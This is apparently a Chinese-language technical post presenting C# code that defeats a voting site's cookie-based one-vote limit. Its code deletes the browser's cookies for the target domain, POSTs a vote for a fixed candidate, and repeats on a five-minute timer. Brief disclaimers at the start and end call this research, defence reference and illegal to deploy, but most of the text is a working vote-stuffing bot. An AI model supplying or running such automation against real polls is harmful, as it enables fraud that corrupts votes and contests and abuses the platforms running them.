本文僅供技術研究與防禦參考,嚴禁用於惡意刷票、干擾投票系統或任何違法行為。 開發者應遵守《電腦犯罪條例》及平台服務條款,建立反爬蟲、限流、驗證碼等防禦機制。
目標投票網站宣稱「限制 IP」,實測發現實際以 Cookie 記錄投票狀態。清除 Cookie 即可重複投票。自動化需解決兩個環節:
using System;
using System.IO;
using Shell32; // 參考 COM: "Microsoft Shell Controls And Automation"
public static class CookieCleaner
{
private const int CSIDL_COOKIES = 0x21; // 33
public static void ClearSiteCookies(string domainFilter = "")
{
var shell = new ShellClass();
Folder folder = shell.NameSpace(CSIDL_COOKIES);
FolderItems items = folder.Items();
foreach (FolderItem item in items)
{
string name = item.Name.ToLower();
// 保留 index.dat 系統檔,避免損壞 Cookie 索引
if (name == "index.dat") continue;
// 可選:依網域過濾(Cookie 檔名通常含網域)
if (!string.IsNullOrEmpty(domainFilter) && !name.Contains(domainFilter.ToLower()))
continue;
try { File.Delete(item.Path); } catch { /* 忽略刪除失敗 */ }
}
}
}
using System;
using System.Net;
using System.Text;
public static class VoteSubmitter
{
public static string SubmitVote(string url, string postData, string contentType = "application/x-www-form-urlencoded")
{
using (var wc = new WebClient())
{
wc.Headers[HttpRequestHeader.ContentType] = contentType;
wc.Encoding = Encoding.UTF8;
byte[] response = wc.UploadData(url, "POST", Encoding.UTF8.GetBytes(postData));
return Encoding.UTF8.GetString(response);
}
}
}
var timer = new System.Threading.Timer(_ =>
{
CookieCleaner.ClearSiteCookies("vote.example.com");
string result = VoteSubmitter.SubmitVote(
"https://vote.example.com/vote.asp",
"candidate_id=123&action=vote");
Console.WriteLine($"[{DateTime.Now}] 提交結果: {result}");
}, null, TimeSpan.Zero, TimeSpan.FromMinutes(5)); // 每 5 分鐘執行一次
技術上透過 Shell32 清除 Cookie 與 WebClient.UploadData 模擬 POST 即可實現自動化投票,但實際部署屬違法濫用行為。開發者應專注於建立多層次防禦體系,而非研究攻擊手法。